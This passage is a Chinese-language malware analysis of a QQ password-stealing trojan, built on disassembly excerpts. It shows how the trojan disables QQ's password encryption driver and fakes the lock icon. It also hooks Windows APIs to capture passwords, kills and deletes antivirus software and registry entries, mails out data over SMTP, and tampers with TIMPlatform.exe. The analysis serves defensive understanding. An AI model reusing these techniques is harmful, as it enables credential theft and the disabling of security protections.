ecx, 003DBF90 ASCII "npkcrypt.bak" 003DBD9F . 8B15 6CDA3D00 mov edx, dword ptr [3DDA6C] 003DBDA5 . E8 0A7BFFFF call 003D38B4 003DBDB2 . 50 push eax 003DBDB3 . 8D45 8C lea eax, dword ptr [ebp-74] 003DBDB6 . B9 A8BF3D00 mov ecx, 003DBFA8 ASCII "npkcrypt.sys" 003DBDBB . 8B15 6CDA3D00 mov edx, dword ptr [3DDA6C] 003DBDC1 . E8 EE7AFFFF call 003D38B4 003DBDC6 . 8B45 8C mov eax, dword ptr [ebp-74] 003DBDC9 . E8 9A7CFFFF call 003D3A68 003DBDCE . 50 push eax |ExistingName 003DBDCF . E8 C885FFFF call <jmp.&kernel32.MoveFileA> \MoveFileA 说明是把QQ目录下的npkcrypt.sys改成npkcrypt.bak 003DBDD4 . 8D45 88 lea eax, dword ptr [ebp-78] 003DBDD7 . B9 C0BF3D00 mov ecx, 003DBFC0 ASCII "LoginCtrl.dll" 003DBDDC . 8B15 6CDA3D00 mov edx, dword ptr [3DDA6C] 003DBDE2 . E8 CD7AFFFF call 003D38B4 003DBDE7 . 8B45 88 mov eax, dword ptr [ebp-78] 003DBDEA . E8 797CFFFF call 003D3A68 003DBDEF . 50 push eax /FileName 003DBDF0 . E8 9F85FFFF call <jmp.&kernel32.LoadLibraryA> \LoadLibraryA Load一下qq目录里的LoginCtrl.dll(加载dll郁闷啊,为了模拟真实环境我只能把它copy到qq目录下) 然后启动一个线程, 003DB098 /. 55 push ebp 003DB099 |. 8BEC mov ebp, esp 003DB09B |. 53 push ebx 003DB09C |. BB A00F0000 mov ebx, 0FA0 003DB0A1 |> E8 16FFFFFF /call 003DAFBC 003DB0A6 |. 6A 64 |push 64 /Timeout = 100. ms 003DB0A8 |. E8 2793FFFF |call <jmp.&kernel32.Sleep> \Sleep 003DB0AD |. 4B |dec ebx 003DB0AE |.^ 75 F1 \jnz short 003DB0A1 003DB0B0 |. 5B pop ebx 003DB0B1 |. 5D pop ebp 003DB0B2 \. C2 0400 retn 4 它在每0.1s循环做一件事情:看call 003DAFBC 里面不断的找标题为QQ用户登陆的对话框 找到就在上面的画上一个图标(伪装?) 找不到就找qq,找到就发送WM_SYSCOMMAND消息,参数为:SC_CLOSE把其关掉 接着启动一个线程之后 然后又调用003DBDFA . E8 31FBFFFF call 003DB930 这个调用是非常关键的,不过此DLL是运行在我的LoadDLL.EXE里面的不是QQ里面(因为前面我把跳转改了),所以动态是跟不进去了,因为它要LoadLibrary一些QQ的DLL所以只能静态的分析: 看这个call里面: 003DB930 /$ 68 CCB93D00 push 003DB9CC /Arg3 = 003DB9CC ASCII "user32.dll" 003DB935 |. 68 D8B93D00 push 003DB9D8 |Arg2 = 003DB9D8 ASCII "LoadImageA" 003DB93A |. 68 20B83D00 push 003DB820 |Arg1 = 003DB820 003DB93F |. B9 E4B93D00 mov ecx, 003DB9E4 |ASCII "LoginCtrl.Dll" 003DB944 |. B2 01 mov dl, 1 | 003DB946 |. A1 C0B53D00 mov eax, dword ptr [3DB5C0] | 003DB94B |. E8 C8FCFFFF call 003DB618 \up.003DB618 又在不断的call 1. user32.dll,LoadImageA,LoginCtrl.Dll 2. user32.dll,LoadStringA,MFC42.Dll 3. shell32.dll,ShellExecuteA,QQHelperDll.Dll 全是用的call 003DB618,这里一定很重要 拿第一组为例子看一下: 003DB639 |. E8 1E8DFFFF call <jmp.&kernel32.GetModuleHandleA> \GetModuleHandleA 003DB63E |. 8947 08 mov dword ptr [edi+8], eax 003DB641 |. 837F 08 00 cmp dword ptr [edi+8], 0 003DB645 |. 74 2E je short 003DB675 003DB647 |. 895F 0C mov dword ptr [edi+C], ebx 003DB64A |. 8B45 08 mov eax, dword ptr [ebp+8] 003DB64D |. 8947 10 mov dword ptr [edi+10], eax 003DB650 |. 8B45 0C mov eax, dword ptr [ebp+C] 003DB653 |. 50 push eax /ProcNameOrOrdinal 003DB654 |. 53 push ebx |/pModule 003DB655 |. E8 028DFFFF call <jmp.&kernel32.GetModuleHandleA> |\GetModuleHandleA 003DB65A |. 50 push eax |hModule 003DB65B |. E8 0C8DFFFF call <jmp.&kernel32.GetProcAddress> \GetProcAddress 从入栈的情况看来看是想找到LoginCtrl.DLL中调用user32.dll里LoadImageA的地址,得到了但没有调用,(中间也加杂着除错的代码)紧接着 003DB670 |. E8 67000000 call 003DB6DC Call了一下,跟进去: 一目了然,别的不说光看这里调用的API(ImageDirectoryEntryToData,VirtualProtect,WriteProcessMemory)就可想象它想干什么了:没错,HOOK api,但为什么会HOOK LoadImage呢 可以用资源查看器eXeScope.exe看一下木马dll的资源,里面有一个图标,是qq登陆框密码输入框上的小锁,估计是用来伪装qq密码加锁的现象。 那么其它的就不用说了吧 它想把LoadStringA,和ShellExecuteEx都HOOK掉,说明它盗QQ用的技术不是HOOP消息,而是HOOK API。 在这里应该可以初步的看出它盗QQ的做法是:把密码加锁关掉,但又不想让用户看出来便自己伪装了一个图标。既然密码加锁关掉了,那么QQ的实时输入密码便不会被加密。然后HOOK LoadString把密码截获。 回过头来看看 003DBCC1 . E8 5E86FFFF call <jmp.&kernel32.CreateThread> \CreateThread 那个线程吧 地址是:003db3fc 到那里去看看 发现它又创建了5个线程(创建它们是有条件的):不过这里我们改跳转就全让它创建了(这样程序可能会运行失败)。 这5个线程: 1. 003db0d0 2. 003db10c 3. 003db120 4. 003db12c 5. 003db244 003db0d0:里面看003DB0F1 |. E8 A6D0FFFF call 003D819C 跟进去会看到: 003D81E7 |. E8 98FBFFFF call 003D7D84 再跟进去: 003D7D8A |. E8 79FDFFFF call 003D7B08 再跟进去:会发现开始不断的得到一系列列出进程的函数的地址 不断的调用它们把进程,模块,线程都列出来 然后和它储备的一些比较,并在这里 003D8262 |. E8 15FFFFFF |call 003D817C 003D817C /$ 53 push ebx 003D817D |. 50 push eax /ProcessId 003D817E |. 6A FF push -1 |Inheritable = TRUE 003D8180 |. 68 FF0F1F00 push 1F0FFF |Access = PROCESS_ALL_ACCESS 003D8185 |. E8 22C2FFFF call <jmp.&kernel32.OpenProcess> \OpenProcess 003D818A |. 8BD8 mov ebx, eax 003D818C |. 6A 00 push 0 /ExitCode = 0 003D818E |. 53 push ebx |hProcess 003D818F |. E8 48C2FFFF call <jmp.&kernel32.TerminatePr> \TerminateProcess 结束进程. 来看第二个003db10c: 003DB10C /. 55 push ebp 003DB10D |. 8BEC mov ebp, esp 003DB10F |. E8 10D9FFFF call 003D8A24 003DB114 |. E8 A3DCFFFF call 003D8DBC 003DB119 |. 5D pop ebp 003DB11A \. C2 0400 retn 4 里面有两个call: 第一个是不断的列出自己的字串和“system\currentcontrolset\services\”或“software\microsoft\windows\currentversion\run”接起来,把有关杀毒软件的信息删除。 把杀毒软件的服务信息删除由于它储备的杀毒软件信息太多这里就不列出来了。 第二个是不断的猜注册表里杀毒软件的安装信息得到杀毒软件的安装路径,把杀毒软件的重要文件备份成为*.bak,删除。 第三个在里面的函数可以看出主要是真对还原精灵的,在注册表里删除还原精灵的信息。 不过在里面又启动一个线程 003D9BE5 |. 50 push eax /pThreadId 003D9BE6 |. 6A 00 push 0 |CreationFlags = 0 003D9BE8 |. 6A 01 push 1 |pThreadParm = 00000001 003D9BEA |. 68 84993D00 push 003D9984 |ThreadFunction = E83B4A4D.003D9984 003D9BEF |. 6A 00 push 0 |StackSize = 0 003D9BF1 |. 6A 00 push 0 |pSecurity = NULL 003D9BF3 |. E8 2CA7FFFF call <jmp.&kernel32.CreateThread> \CreateThread 进去:是为了隐藏一个叫LanCard的东西,不知道为什么这两个还特别对待。可能是因为还原精灵有点复杂,对复的方法不一样。 第四个:看 003DB173 . E8 08A9FFFF call 003D5A80 进去:可以看到它在准备初始化socket库开始对外发信了,具体不跟了就是smtp协议 看第五个: 读取注册表中qq的安装信息得到qq的路径,然后得到TIMPlatform.exe的路径 003DB302 . E8 95CEFFFF call 003D819C 上面call这里面和第一个线程调用的是一样的,列出进程把TIMPlatform.exe的进程杀掉。 003DB31F . 50 push eax 003DB320 . 8D45 E8 lea eax, dword ptr [ebp-18] 003DB323 . E8 A097FFFF call 003D4AC8 003DB328 . 8B45 E8 mov eax, dword ptr [ebp-18] 003DB32B . E8 3887FFFF call 003D3A68 003DB330 . 50 push eax |ExistingFileName 003DB331 . E8 B68FFFFF call <jmp.&kernel32.CopyFileA> \CopyFileA 把C:\program files\common\micsoft shared\MSINFO\***.dat(前面提到过的木马备份)复制到C:\program files\qq2006\***.exe。C:\program files\qq2006\TIMPlatform.exe复制到C:\program files\qq2006\TIMPlatform.exe.bak 然后向TIMPlatform.exe写入一些东西,什么东西呢,我也不知道。这个的专门研究了TIMPlatform.exe才行。估计是修改了TIMPlatform的功能(恶意的)。 鉴定完毕,如果有错误的地方请大家批评指出,谢谢,^_^ (责任编辑:科锐软件教育机构) |